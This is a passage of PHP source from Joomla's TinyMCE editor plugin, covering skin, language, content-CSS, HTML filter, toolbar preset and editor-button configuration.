
		// Set the selected skin
		$skin = 'lightgray';
		$side = $app->isClient('administrator') ?
'skin_admin' : 'skin';

		if ((int) $levelParams->get($side, 0) < count($skindirs))
		{
			$skin = basename($skindirs[(int) $levelParams->get($side, 0)]);
		}

		$langMode   = $levelParams->get('lang_mode', 1);
		$langPrefix = $levelParams->get('lang_code',
'en');

		if ($langMode)
		{
			if (file_exists(JPATH_ROOT . '/media/editors/tinymce/langs/' .
$language->getTag() . '.js'))
			{
				$langPrefix = $language->getTag();
			}
			elseif (file_exists(JPATH_ROOT .
'/media/editors/tinymce/langs/' . substr($language->getTag(),
0, strpos($language->getTag(), '-')) . '.js'))
			{
				$langPrefix = substr($language->getTag(), 0,
strpos($language->getTag(), '-'));
			}
			else
			{
				$langPrefix = 'en';
			}
		}

		$text_direction = 'ltr';

		if ($language->isRtl())
		{
			$text_direction = 'rtl';
		}

		$use_content_css    = $levelParams->get('content_css', 1);
		$content_css_custom =
$levelParams->get('content_css_custom', '');

		/*
		 * Lets get the default template for the site application
		 */
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('template')
			->from('#__template_styles')
			->where('client_id=0 AND home=' .
$db->quote('1'));

		$db->setQuery($query);

		try
		{
			$template = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			$app->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'),
'error');

			return '';
		}

		$content_css    = null;
		$templates_path = JPATH_SITE . '/templates';

		// Loading of css file for 'styles' dropdown
		if ($content_css_custom)
		{
			// If URL, just pass it to $content_css
			if (strpos($content_css_custom, 'http') !== false)
			{
				$content_css = $content_css_custom;
			}

			// If it is not a URL, assume it is a file name in the current template
folder
			else
			{
				$content_css = JUri::root(true) . '/templates/' . $template .
'/css/' . $content_css_custom;

				// Issue warning notice if the file is not found (but pass name to
$content_css anyway to avoid TinyMCE error
				if (!file_exists($templates_path . '/' . $template .
'/css/' . $content_css_custom))
				{
					$msg =
sprintf(JText::_('PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT'),
$content_css_custom);
					JLog::add($msg, JLog::WARNING, 'jerror');
				}
			}
		}
		else
		{
			// Process when use_content_css is Yes and no custom file given
			if ($use_content_css)
			{
				// First check templates folder for default template
				// if no editor.css file in templates folder, check system template
folder
				if (!file_exists($templates_path . '/' . $template .
'/css/editor.css'))
				{
					// If no editor.css file in system folder, show alert
					if (!file_exists($templates_path .
'/system/css/editor.css'))
					{
						JLog::add(JText::_('PLG_TINY_ERR_EDITORCSSFILENOTPRESENT'),
JLog::WARNING, 'jerror');
					}
					else
					{
						$content_css = JUri::root(true) .
'/templates/system/css/editor.css';
					}
				}
				else
				{
					$content_css = JUri::root(true) . '/templates/' . $template
. '/css/editor.css';
				}
			}
		}

		$ignore_filter = false;

		// Text filtering
		if ($levelParams->get('use_config_textfilters', 0))
		{
			// Use filters from com_config
			$filter = static::getGlobalFilters();

			$ignore_filter = $filter === false;

			$tagBlacklist  = !empty($filter->tagBlacklist) ?
$filter->tagBlacklist : array();
			$attrBlacklist = !empty($filter->attrBlacklist) ?
$filter->attrBlacklist : array();
			$tagArray      = !empty($filter->tagArray) ? $filter->tagArray :
array();
			$attrArray     = !empty($filter->attrArray) ? $filter->attrArray :
array();

			$invalid_elements  = implode(',', array_merge($tagBlacklist,
$attrBlacklist, $tagArray, $attrArray));

			// Valid elements are all whitelist entries in com_config, which are now
missing in the tagBlacklist
			$default_filter = JFilterInput::getInstance();
			$valid_elements = implode(',',
array_diff($default_filter->tagBlacklist, $tagBlacklist));

			$extended_elements = '';
		}
		else
		{
			// Use filters from TinyMCE params
			$invalid_elements  =
trim($levelParams->get('invalid_elements',
'script,applet,iframe'));
			$extended_elements =
trim($levelParams->get('extended_elements', ''));
			$valid_elements    =
trim($levelParams->get('valid_elements', ''));
		}

		$html_height = $this->params->get('html_height',
'550');
		$html_width  = $this->params->get('html_width',
'');

		if ($html_width == 750)
		{
			$html_width = '';
		}

		// The param is true for vertical resizing only, false or both
		$resizing          = (bool) $levelParams->get('resizing',
true);
		$resize_horizontal = (bool)
$levelParams->get('resize_horizontal', true);

		if ($resizing && $resize_horizontal)
		{
			$resizing = 'both';
		}

		// Set of always available plugins
		$plugins  = array(
			'autolink',
			'lists',
			'colorpicker',
			'importcss',
		);

		// Allowed elements
		$elements = array(
			'hr[id|title|alt|class|width|size|noshade]',
		);

		if ($extended_elements)
		{
			$elements = array_merge($elements, explode(',',
$extended_elements));
		}

		// Prepare the toolbar/menubar
		$knownButtons = static::getKnownButtons();

		// Check if there no value at all
		if (!$levelParams->get('menu') &&
!$levelParams->get('toolbar1') &&
!$levelParams->get('toolbar2'))
		{
			// Get from preset
			$presets = static::getToolbarPreset();

			/*
			 * Predefine group as:
			 * Set 0: for Administrator, Editor, Super Users (4,7,8)
			 * Set 1: for Registered, Manager (2,6), all else are public
			 */
			switch (true)
			{
				case isset($ugroups[4]) || isset($ugroups[7]) || isset($ugroups[8]):
					$preset = $presets['advanced'];
					break;

				case isset($ugroups[2]) || isset($ugroups[6]):
					$preset = $presets['medium'];
					break;

				default:
					$preset = $presets['simple'];
			}

			$levelParams->loadArray($preset);
		}

		$menubar  = (array) $levelParams->get('menu', array());
		$toolbar1 = (array) $levelParams->get('toolbar1', array());
		$toolbar2 = (array) $levelParams->get('toolbar2', array());

		// Make an easy way to check which button is enabled
		$allButtons = array_merge($toolbar1, $toolbar2);
		$allButtons = array_combine($allButtons, $allButtons);

		// Check for button-specific plugins
		foreach ($allButtons as $btnName)
		{
			if (!empty($knownButtons[$btnName]['plugin']))
			{
				$plugins[] = $knownButtons[$btnName]['plugin'];
			}
		}

		// Template
		$templates = array();

		if (!empty($allButtons['template']))
		{
			// Note this check for the template_list.js file will be removed in
Joomla 4.0
			if (is_file(JPATH_ROOT .
'/media/editors/tinymce/templates/template_list.js'))
			{
				// If using the legacy file we need to include and input the files the
new way
				$str = file_get_contents(JPATH_ROOT .
'/media/editors/tinymce/templates/template_list.js');

				// Find from one [ to the last ]
				$matches = array();
				preg_match_all('/\[.*\]/', $str, $matches);

				// Set variables
				foreach ($matches['0'] as $match)
				{
					$values = array();
					preg_match_all('/\".*\"/', $match, $values);
					$result       = trim($values['0']['0'],
'"');
					$final_result = explode(',', $result);

					$templates[] = array(
						'title' => trim($final_result['0'], '
" '),
						'description' => trim($final_result['2'],
' " '),
						'url' => JUri::root(true) . '/' .
trim($final_result['1'], ' " '),
					);
				}

			}
			else
			{
				foreach (glob(JPATH_ROOT .
'/media/editors/tinymce/templates/*.html') as $filename)
				{
					$filename = basename($filename, '.html');

					if ($filename !== 'index')
					{
						$lang        = JFactory::getLanguage();
						$title       = $filename;
						$description = ' ';

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' .
strtoupper($filename) . '_TITLE'))
						{
							$title = JText::_('PLG_TINY_TEMPLATE_' .
strtoupper($filename) . '_TITLE');
						}

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' .
strtoupper($filename) . '_DESC'))
						{
							$description = JText::_('PLG_TINY_TEMPLATE_' .
strtoupper($filename) . '_DESC');
						}

						$templates[] = array(
							'title' => $title,
							'description' => $description,
							'url' => JUri::root(true) .
'/media/editors/tinymce/templates/' . $filename .
'.html',
						);
					}
				}
			}
		}

		// Check for extra plugins, from the setoptions form
		foreach (array('wordcount' => 1, 'advlist' =>
1, 'autosave' => 1, 'contextmenu' => 1) as $pName
=> $def)
		{
			if ($levelParams->get($pName, $def))
			{
				$plugins[] = $pName;
			}
		}

		// User custom plugins and buttons
		$custom_plugin = trim($levelParams->get('custom_plugin',
''));
		$custom_button = trim($levelParams->get('custom_button',
''));

		if ($custom_plugin)
		{
			$separator = strpos($custom_plugin, ',') !== false ?
',' : ' ';
			$plugins   = array_merge($plugins, explode($separator, $custom_plugin));
		}

		if ($custom_button)
		{
			$separator = strpos($custom_button, ',') !== false ?
',' : ' ';
			$toolbar1  = array_merge($toolbar1, explode($separator,
$custom_button));
		}

		// Drag and drop Images
		$allowImgPaste = false;
		$dragdrop      = $levelParams->get('drag_drop', 1);

		if ($dragdrop && $user->authorise('core.create',
'com_media'))
		{
			$externalPlugins['jdragdrop'] = HTMLHelper::_(
					'script',
					'editors/tinymce/plugins/dragdrop/plugin.min.js',
					array('relative' => true, 'version' =>
'auto', 'pathOnly' => true)
				);
			$allowImgPaste = true;
			$isSubDir      = '';
			$session       = JFactory::getSession();
			$uploadUrl     = JUri::base() .
'index.php?option=com_media&task=file.upload&tmpl=component&'
				. $session->getName() . '=' . $session->getId()
				. '&' . JSession::getFormToken() . '=1'
				. '&asset=image&format=json';

			if ($app->isClient('site'))
			{
				$uploadUrl = htmlentities($uploadUrl, null, 'UTF-8', null);
			}

			// Is Joomla installed in subdirectory
			if (JUri::root(true) !== '/')
			{
				$isSubDir = JUri::root(true);
			}

			JText::script('PLG_TINY_ERR_UNSUPPORTEDBROWSER');

			$scriptOptions['setCustomDir']    = $isSubDir;
			$scriptOptions['mediaUploadPath'] =
$levelParams->get('path', '');
			$scriptOptions['uploadUri']       = $uploadUrl;
		}

		// Build the final options set
		$scriptOptions = array_merge(
			$scriptOptions,
			array(
			'suffix'  => '.min',
			'baseURL' => JUri::root(true) .
'/media/editors/tinymce',
			'directionality' => $text_direction,
			'language' => $langPrefix,
			'autosave_restore_when_empty' => false,
			'skin'   => $skin,
			'theme'  => $theme,
			'schema' => 'html5',

			// Toolbars
			'menubar'  => empty($menubar)  ? false : implode('
', array_unique($menubar)),
			'toolbar1' => empty($toolbar1) ? null  : implode('
', $toolbar1),
			'toolbar2' => empty($toolbar2) ? null  : implode('
', $toolbar2),

			'plugins'  => implode(',',
array_unique($plugins)),

			// Cleanup/Output
			'inline_styles'    => true,
			'gecko_spellcheck' => true,
			'entity_encoding'  =>
$levelParams->get('entity_encoding', 'raw'),
			'verify_html'      => !$ignore_filter,

			'valid_elements'          => $valid_elements,
			'extended_valid_elements' => implode(',',
$elements),
			'invalid_elements'        => $invalid_elements,

			// URL
			'relative_urls'      => (bool)
$levelParams->get('relative_urls', true),
			'remove_script_host' => false,

			// Layout
			'content_css'        => $content_css,
			'document_base_url'  => JUri::root(true) . '/',
			'paste_data_images'  => $allowImgPaste,
			'importcss_append'   => true,
			'image_title'        => true,
			'height'             => $html_height,
			'width'              => $html_width,
			'resize'             => $resizing,
			'templates'          => $templates,
			'image_advtab'       => (bool)
$levelParams->get('image_advtab', false),
			'external_plugins'   => empty($externalPlugins) ? null  :
$externalPlugins,
			'contextmenu'        => (bool)
$levelParams->get('contextmenu', true) ? null : false,
			'elementpath'        => (bool)
$levelParams->get('element_path', true),
		)
		);

		if ($levelParams->get('newlines'))
		{
			// Break
			$scriptOptions['force_br_newlines'] = true;
			$scriptOptions['force_p_newlines']  = false;
			$scriptOptions['forced_root_block'] = '';
		}
		else
		{
			// Paragraph
			$scriptOptions['force_br_newlines'] = false;
			$scriptOptions['force_p_newlines']  = true;
			$scriptOptions['forced_root_block'] = 'p';
		}

		$scriptOptions['rel_list'] = array(
			array('title' => 'None', 'value' =>
''),
			array('title' => 'Alternate', 'value'
=> 'alternate'),
			array('title' => 'Author', 'value'
=> 'author'),
			array('title' => 'Bookmark', 'value'
=> 'bookmark'),
			array('title' => 'Help', 'value' =>
'help'),
			array('title' => 'License', 'value'
=> 'license'),
			array('title' => 'Lightbox', 'value'
=> 'lightbox'),
			array('title' => 'Next', 'value' =>
'next'),
			array('title' => 'No Follow', 'value'
=> 'nofollow'),
			array('title' => 'No Referrer', 'value'
=> 'noreferrer'),
			array('title' => 'Prefetch', 'value'
=> 'prefetch'),
			array('title' => 'Prev', 'value' =>
'prev'),
			array('title' => 'Search', 'value'
=> 'search'),
			array('title' => 'Tag', 'value' =>
'tag'),
		);

		/**
		 * Shrink the buttons if not on a mobile or if mobile view is off.
		 * If mobile view is on force into simple mode and enlarge the buttons
		 **/
		if (!$this->app->client->mobile)
		{
			$scriptOptions['toolbar_items_size'] = 'small';
		}
		elseif ($levelParams->get('mobile', 0))
		{
			$scriptOptions['menubar'] = false;
			unset($scriptOptions['toolbar2']);
		}

		$options['tinyMCE']['default'] = $scriptOptions;

		$doc->addStyleDeclaration('.mce-in { padding: 5px 10px
!important;}');
		$doc->addScriptOptions('plg_editor_tinymce', $options);

		return $editor;
	}

	/**
	 * Get the toggle editor button
	 *
	 * @param   string  $name  Editor name
	 *
	 * @return  string
	 */
	private function _toogleButton($name)
	{
		return JLayoutHelper::render('joomla.tinymce.togglebutton',
$name);
	}

	/**
	 * Get the XTD buttons and render them inside tinyMCE
	 *
	 * @param   string  $name      the id of the editor field
	 * @param   string  $excluded  the buttons that should be hidden
	 *
	 * @return array
	 */
	private function tinyButtons($name, $excluded)
	{
		// Get the available buttons
		$buttons = $this->_subject->getButtons($name, $excluded);

		// Init the arrays for the buttons
		$tinyBtns  = array();
		$btnsNames = array();

		// Build the script
		foreach ($buttons as $i => $button)
		{
			if ($button->get('name'))
			{
				// Set some vars
				$name    = 'button-' . $i . str_replace(' ',
'', $button->get('text'));
				$title   = $button->get('text');
				$onclick = $button->get('onclick') ?: null;
				$options = $button->get('options');
				$icon    = $button->get('name');

				if ($button->get('link') !== '#')
				{
					$href = JUri::base() . $button->get('link');
				}
				else
				{
					$href = null;
				}

				// We do some hack here to set the correct icon for 3PD buttons
				$icon = 'none icon-' . $icon;

				$tempConstructor = array();

				// Now we can built the script
				$tempConstructor[] = '!(function(){';

				// Get the modal width/height
				if ($options && is_scalar($options))
				{
					$tempConstructor[] = 'var getBtnOptions=new Function("return
' . addslashes($options) . '"),';
					$tempConstructor[] = 'btnOptions=getBtnOptions(),';
					$tempConstructor[] =
'modalWidth=btnOptions.size&&btnOptions.size.x?btnOptions.size.x:null,';
					$tempConstructor[] =
'modalHeight=btnOptions.size&&btnOptions.size.y?btnOptions.size.y:null;';
				}
				else
				{
					$tempConstructor[] = 'var
btnOptions={},modalWidth=null,modalHeight=null;';
				}

				// Now we can built the script
				// AddButton starts here
				$tempConstructor[] = 'editor.addButton("' . $name .
'",{';
				$tempConstructor[] = 'text:"' . $title .
'",';
				$tempConstructor[] = 'title:"' . $title .
'",';
				$tempConstructor[] = 'icon:"' . $icon .
'",';

				// Onclick starts here
				$tempConstructor[] = 'onclick:function(){';

				if ($href || $button->get('modal'))
				{
					// TinyMCE standard modal options
					$tempConstructor[] = 'var modalOptions={';
					$tempConstructor[] = 'title:"' . $title .
'",';
					$tempConstructor[] = 'url:"' . $href .
'",';
					$tempConstructor[] = 'buttons:[{text:
"Close",onclick:"close"}]';
					$tempConstructor[] = '};';

					// Set width/height
					$tempConstructor[] =
'if(modalWidth){modalOptions.width=modalWidth;}';
					$tempConstructor[] = 'if(modalHeight){modalOptions.height =
modalHeight;}';
					$tempConstructor[] = 'var
win=editor.windowManager.open(modalOptions);';

					if (JFactory::getApplication()->client->mobile)
					{
						$tempConstructor[] = 'win.fullscreen(true);';
					}

					if ($onclick && ($button->get('modal') || $href))
					{
						// Adds callback for close button
						$tempConstructor[] = $onclick . ';';
					}
				}
				else
				{
					// Adds callback for the button, eg: readmore
					$tempConstructor[] = $onclick . ';';
				}

				// Onclick ends here
				$tempConstructor[] = '}';

				// AddButton ends here
				$tempConstructor[] = '});';

				// IIFE ends here
				$tempConstructor[] = '})();';

				// The array with the toolbar buttons
				$btnsNames[] = $name . ' | ';

				// The array with code for each button
				$tinyBtns[] = implode('', $tempConstructor);
			}
		}

		return array(
				'names'  => $btnsNames,
				'script' => $tinyBtns
		);
	}

	/**
	 * Get the global text filters to arbitrary text as per settings for
current user groups
	 *
	 * @return  JFilterInput
	 *
	 * @since   3.6
	 */
	protected static function getGlobalFilters()
	{
		// Filter settings
		$config     = JComponentHelper::getParams('com_config');
		$user       = JFactory::getUser();
		$userGroups = JAccess::getGroupsByUser($user->get('id'));

		$filters = $config->get('filters');

		$blackListTags       = array();
		$blackListAttributes = array();

		$customListTags       = array();
		$customListAttributes = array();

		$whiteListTags       = array();
		$whiteListAttributes = array();

		$whiteList  = false;
		$blackList  = false;
		$customList = false;
		$unfiltered = false;

		// Cycle through each of the user groups the user is in.
		// Remember they are included in the public group as well.
		foreach ($userGroups as $groupId)
		{
			// May have added a group but not saved the filters.
			if (!isset($filters->$groupId))
			{
				continue;
			}

			// Each group the user is in could have different filtering properties.
			$filterData = $filters->$groupId;
			$filterType = strtoupper($filterData->filter_type);

			if ($filterType === 'NH')
			{
				// Maximum HTML filtering.
			}
			elseif ($filterType === 'NONE')
			{
				// No HTML filtering.
				$unfiltered = true;
			}
			else
			{
				// Blacklist or whitelist.
				// Preprocess the tags and attributes.
				$tags           = explode(',', $filterData->filter_tags);
				$attributes     = explode(',',
$filterData->filter_attributes);
				$tempTags       = array();
				$tempAttributes = array();

				foreach ($tags as $tag)
				{
					$tag = trim($tag);

					if ($tag)
					{
						$tempTags[] = $tag;
					}
				}

				foreach ($attributes as $attribute)
				{
					$attribute = trim($attribute);

					if ($attribute)
					{
						$tempAttributes[] = $attribute;
					}
				}

				// Collect the blacklist or whitelist tags and attributes.
				// Each list is cummulative.
				if ($filterType === 'BL')
				{
					$blackList           = true;
					$blackListTags       = array_merge($blackListTags, $tempTags);
					$blackListAttributes = array_merge($blackListAttributes,
$tempAttributes);
				}
				elseif ($filterType === 'CBL')
				{
					// Only set to true if Tags or Attributes were added
					if ($tempTags || $tempAttributes)
					{
						$customList           = true;
						$customListTags       = array_merge($customListTags, $tempTags);
						$customListAttributes = array_merge($customListAttributes,
$tempAttributes);
					}
				}
				elseif ($filterType === 'WL')
				{
					$whiteList           = true;
					$whiteListTags       = array_merge($whiteListTags, $tempTags);
					$whiteListAttributes = array_merge($whiteListAttributes,
$tempAttributes);
				}
			}
		}

		// Remove duplicates before processing (because the blacklist uses both
sets of arrays).
		$blackListTags        = array_unique($blackListTags);
		$blackListAttributes  = array_unique($blackListAttributes);
		$customListTags       = array_unique($customListTags);
		$customListAttributes = array_unique($customListAttributes);
		$whiteListTags        = array_unique($whiteListTags);
		$whiteListAttributes  = array_unique($whiteListAttributes);

		// Unfiltered assumes first priority.
		if ($unfiltered)
		{
			// Dont apply filtering.
			return false;
		}
		else
		{
			// Custom blacklist precedes Default blacklist
			if ($customList)
			{
				$filter = JFilterInput::getInstance(array(), array(), 1, 1);

				// Override filter's default blacklist tags and attributes
				if ($customListTags)
				{
					$filter->tagBlacklist = $customListTags;
				}

				if ($customListAttributes)
				{
					$filter->attrBlacklist = $customListAttributes;
				}
			}
			// Blacklists take second precedence.
			elseif ($blackList)
			{
				// Remove the white-listed tags and attributes from the black-list.
				$blackListTags       = array_diff($blackListTags, $whiteListTags);
				$blackListAttributes = array_diff($blackListAttributes,
$whiteListAttributes);

				$filter = JFilterInput::getInstance($blackListTags,
$blackListAttributes, 1, 1);

				// Remove whitelisted tags from filter's default blacklist
				if ($whiteListTags)
				{
					$filter->tagBlacklist = array_diff($filter->tagBlacklist,
$whiteListTags);
				}

				// Remove whitelisted attributes from filter's default blacklist
				if ($whiteListAttributes)
				{
					$filter->attrBlacklist = array_diff($filter->attrBlacklist,
$whiteListAttributes);
				}
			}
			// Whitelists take third precedence.
			elseif ($whiteList)
			{
				// Turn off XSS auto clean
				$filter = JFilterInput::getInstance($whiteListTags,
$whiteListAttributes, 0, 0, 0);
			}
			// No HTML takes last place.
			else
			{
				$filter = JFilterInput::getInstance();
			}

			return $filter;
		}
	}

	/**
	 * Return list of known TinyMCE buttons
	 *
	 * @return array
	 *
	 * @since 3.7.0
	 */
	public static function getKnownButtons()
	{
		// See https://www.tinymce.com/docs/demo/full-featured/
		// And https://www.tinymce.com/docs/plugins/
		$buttons = array(

			// General buttons
			'|'              => array('label' =>
JText::_('PLG_TINY_TOOLBAR_BUTTON_SEPARATOR'), 'text'
=> '|'),

			'undo'           => array('label' =>
'Undo'),
			'redo'           => array('label' =>
'Redo'),

			'bold'           => array('label' =>
'Bold'),
			'italic'         => array('label' =>
'Italic'),
			'underline'      => array('label' =>
'Underline'),
			'strikethrough'  => array('label' =>
'Strikethrough'),
			'styleselect'    => array('label' =>
JText::_('PLG_TINY_TOOLBAR_BUTTON_STYLESELECT'), 'text'
=> 'Formats'),
			'formatselect'   => array('label' =>
JText::_('PLG_TINY_TOOLBAR_BUTTON_FORMATSELECT'),
'text' => 'Paragraph'),
			'fontselect'     => array('label' =>
JText::_('PLG_TINY_TOOLBAR_BUTTON_FONTSELECT'), 'text'
=> 'Font Family'),
			'fontsizeselect' => array('label' =>
JText::_('PLG_TINY_TOOLBAR_BUTTON_FONTSIZESELECT'),
'text' => 'Font Sizes'),

			'alignleft'     => array('label' =>
'Align left'),
			'aligncenter'   => array('label' =>
'Align center'),
			'alignright'    => array('label' =>
'Align right'),
			'alignjustify'  => array('label' =>
'Justify'),

			'outdent'       => array('label' =>
'Decrease indent'),
			'indent'        => array('label' =>
'Increase indent'),

			'bullist'       => array('label' =>
'Bullet list'),
			'numlist'       => array('label' =>
'Numbered list'),

			'link'          => array('label' =>
'Insert/edit link', 'plugin' => 'link'),
			'unlink'        => array('label' =>
'Remove link', 'plugin' => 'link'),

			'subscript'     => array('label' =>
'Subscript'),
			'superscript'   => array('label' =>
'Superscript'),
			'blockquote'    => array('label' =>
'Blockquote'),

			'cut'           => array('label' =>
'Cut'),
			'copy'          => array('label' =>
'Copy'),
			'paste'         => array('label' =>
'Paste', 'plugin' => 'paste'),
			'pastetext'     => array('label' =>
'Paste as text', 'plugin' => 'paste'),
			'removeformat'  => array('label' =>
'Clear formatting'),

			// Buttons from the plugins
			'forecolor'      => array('label' =>
'Text color', 'plugin' => 'textcolor'),
			'backcolor'      => array('label' =>
'Background color', 'plugin' =>
'textcolor'),
			'anchor'         => array('label' =>
'Anchor', 'plugin' => 'anchor'),
			'hr'             => array('label' =>
'Horizontal line', 'plugin' => 'hr'),
			'ltr'            => array('label' =>
'Left to right', 'plugin' =>
'directionality'),
			'rtl'            => array('label' =>
'Right to left', 'plugin' =>
'directionality'),
			'code'           => array('label' =>
'Source code', 'plugin' => 'code'),
			'codesample'     => array('label' =>
'Insert/Edit code sample', 'plugin' =>
'codesample'),
			'table'          => array('label' =>
'Table', 'plugin' => 'table'),
			'charmap'        => array('label' =>
'Special character', 'plugin' =>
'charmap'),
			'visualchars'    => array('label' =>
'Show invisible characters', 'plugin' =>
'visualchars'),
			'visualblocks'   => array('label' =>
'Show blocks', 'plugin' =>
'visualblocks'),
			'nonbreaking'    => array('label' =>
'Nonbreaking space', 'plugin' =>
'nonbreaking'),
			'emoticons'      => array('label' =>
'Emoticons', 'plugin' => 'emoticons'),
			'image'          => array('label' =>
'Insert/edit image', 'plugin' => 'image'),
			'media'          => array('label' =>
'Insert/edit video', 'plugin' => 'media'),
			'pagebreak'      => array('label' =>
'Page break', 'plugin' => 'pagebreak'),
			'print'          => array('label' =>
'Print', 'plugin' => 'print'),
			'preview'        => array('label' =>
'Preview', 'plugin' => 'preview'),
			'fullscreen'     => array('label' =>
'Fullscreen', 'plugin' => 'fullscreen'),
			'template'       => array('label' =>
'Insert template', 'plugin' =>
'template'),
			'searchreplace'  => array('label' =>
'Find and replace', 'plugin' =>
'searchreplace'),
			'insertdatetime' => array('label' =>
'Insert date/time', 'plugin' =>
'insertdatetime'),
			// 'spellchecker'   => array('label' =>
'Spellcheck', 'plugin' => 'spellchecker'),
		);

		return $buttons;
	}

	/**
	 * Return toolbar presets
	 *
	 * @return array
	 *
	 * @since 3.7.0
	 */
	public static function getToolbarPreset()
	{
		$preset = array();

		$preset['simple'] = array(
			'menu' => array(),
			'toolbar1' => array(
				'bold', 'underline', 'strikethrough',
'|',
				'undo', 'redo', '|',
				'bullist', 'numlist', '|',
				'pastetext'
			),
			'toolbar2' => array(),
		);

		$preset['medium'] = array(
			'menu' => array('edit', 'insert',
'view', 'format', 'table',
'tools'),
			'toolbar1' => array(
				'bold', 'italic', 'underline',
'strikethrough', '|',
				'alignleft', 'aligncenter', 'alignright',
'alignjustify', '|',
				'formatselect', '|',
				'bullist', 'numlist', '|',
				'outdent', 'indent', '|',
				'undo', 'redo', '|',
				'link', 'unlink', 'anchor',
'code', '|',
				'hr', 'table', '|',
				'subscript', 'superscript', '|',
				'charmap', 'pastetext' , 'preview'
			),
			'toolbar2' => array(),
		);

		$preset['advanced'] = array(
			'menu'     => array('edit', 'insert',
'view', 'format', 'table',
'tools'),
			'toolbar1' => array(
				'bold', 'italic', 'underline',
'strikethrough', '|',
				'alignleft', 'aligncenter', 'alignright',
'alignjustify', '|',
				'styleselect', '|',
				'formatselect', 'fontselect',
'fontsizeselect', '|',
				'searchreplace', '|',
				'bullist', 'numlist', '|',
				'outdent', 'indent', '|',
				'undo', 'redo', '|',
				'link', 'unlink', 'anchor',
'image', '|',
				'code', '|',
				'forecolor', 'backcolor', '|',
				'fullscreen', '|',
				'table', '|',
				'subscript', 'superscript', '|',
				'charmap', 'emoticons', 'media',
'hr', 'ltr', 'rtl', '|',
				'cut', 'copy', 'paste',
'pastetext', '|',
				'visualchars', 'visualblocks',
'nonbreaking', 'blockquote', 'template',
'|',
				'print', 'preview', 'codesample',
'insertdatetime', 'removeformat',
			),
			'toolbar2' => array(),
		);

		return $preset;
	}

	/**
	 * Gets the plugin extension id.
	 *
	 * @return  int  The plugin id.
	 *
	 * @since   3.7.0
	 */
	private function getPluginId()
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
					->select($db->quoteName('extension_id'))
					->from($db->quoteName('#__extensions'))
					->where($db->quoteName('folder') . ' = ' .
$db->quote($this->_type))
					->where($db->quoteName('element') . ' = ' .
$db->quote($this->_name));
		$db->setQuery($query);

		return (int) $db->loadResult();
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The name of the editor area.
	 * @param   string   $content  The content of the field.
	 * @param   string   $width    The width of the editor area.
	 * @param   string   $height   The height of the editor area.
	 * @param   int      $col      The number of columns for the editor area.
	 * @param   int      $row      The number of rows for the editor area.
	 * @param   boolean  $buttons  True and the editor buttons will be
displayed.
	 * @param   string   $id       An optional ID for the textarea. If not
supplied the name is used.
	 * @param   string   $asset    The object asset
	 * @param   object   $author   The author.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string
	 *
	 * @since  3.7.0
	 *
	 * @deprecated 4.0
	 */
	private function onDisplayLegacy(
		$name, $content, $width, $height, $col, $row, $buttons = true, $id =
null, $asset = null, $author = null, $params = array())
	{
		if (empty($id))
		{
			$id = $name;
		}

		$id            = preg_replace('/(\s|[^A-Za-z0-9_])+/',
'_', $id);
		$nameGroup     = explode('[',
preg_replace('/\[\]|\]/', '', $name));
		$fieldName     = end($nameGroup);
		$scriptOptions = array();

		// Check for existing options
		$doc     = JFactory::getDocument();
		$options = $doc->getScriptOptions('plg_editor_tinymce');

		// Only add "px" to width and height if they are not given as a
percentage
		if (is_numeric($width))
		{
			$width .= 'px';
		}

		if (is_numeric($height))
		{
			$height .= 'px';
		}

		// Data object for the layout
		$textarea = new stdClass;
		$textarea->name    = $name;
		$textarea->id      = $id;
		$textarea->class   = 'mce_editable joomla-editor-tinymce';
		$textarea->cols    = $col;
		$textarea->rows    = $row;
		$textarea->width   = $width;
		$textarea->height  = $height;
		$textarea->content = $content;

		// Set editor to readonly mode
		$textarea->readonly = !empty($params['readonly']);

		// Render Editor markup
		$editor = '<div class="editor
js-editor-tinymce">';
		$editor .= JLayoutHelper::render('joomla.tinymce.textarea',
$textarea);
		$editor .= $this->_toogleButton($id);
		$editor .= '</div>';

		// Prepare instance specific options, actually the ext-buttons
		if
(empty($options['tinyMCE'][$fieldName]['joomlaExtButtons']))
		{
			$btns = $this->tinyButtons($id, $buttons);

			if (!empty($btns['names']))
			{
				JHtml::_('script',
'editors/tinymce/tiny-close.min.js', array('version'
=> 'auto', 'relative' => true),
array('defer' => 'defer'));
			}

			// Set editor to readonly mode
			if (!empty($params['readonly']))
			{
				$options['tinyMCE'][$fieldName]['readonly'] = 1;
			}

			$options['tinyMCE'][$fieldName]['joomlaMergeDefaults']
= true;
			$options['tinyMCE'][$fieldName]['joomlaExtButtons'] 
  = $btns;

			$doc->addScriptOptions('plg_editor_tinymce', $options,
false);
		}

		// Setup Default options for the Editor script

		// Check whether we already have them
		if (!empty($options['tinyMCE']['default']))
		{
			return $editor;
		}

		$app      = JFactory::getApplication();
		$user     = JFactory::getUser();
		$language = JFactory::getLanguage();
		$mode     = (int) $this->params->get('mode', 1);
		$theme    = 'modern';

		// List the skins
		$skindirs = glob(JPATH_ROOT . '/media/editors/tinymce/skins' .
'/*', GLOB_ONLYDIR);


		// Set the selected skin
		$skin = 'lightgray';
		$side = $app->isClient('administrator') ?
'skin_admin' : 'skin';

		if ((int) $this->params->get($side, 0) < count($skindirs))
		{
			$skin = basename($skindirs[(int) $this->params->get($side, 0)]);
		}

		$langMode        = $this->params->get('lang_mode', 0);
		$langPrefix      = $this->params->get('lang_code',
'en');

		if ($langMode)
		{
			if (file_exists(JPATH_ROOT . "/media/editors/tinymce/langs/" .
$language->getTag() . ".js"))
			{
				$langPrefix = $language->getTag();
			}
			elseif (file_exists(JPATH_ROOT .
"/media/editors/tinymce/langs/" . substr($language->getTag(),
0, strpos($language->getTag(), '-')) . ".js"))
			{
				$langPrefix = substr($language->getTag(), 0,
strpos($language->getTag(), '-'));
			}
			else
			{
				$langPrefix = "en";
			}
		}

		$text_direction = 'ltr';

		if ($language->isRtl())
		{
			$text_direction = 'rtl';
		}

		$use_content_css    = $this->params->get('content_css',
1);
		$content_css_custom =
$this->params->get('content_css_custom', '');

		/*
		 * Lets get the default template for the site application
		 */
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
					->select('template')
					->from('#__template_styles')
					->where('client_id=0 AND home=' .
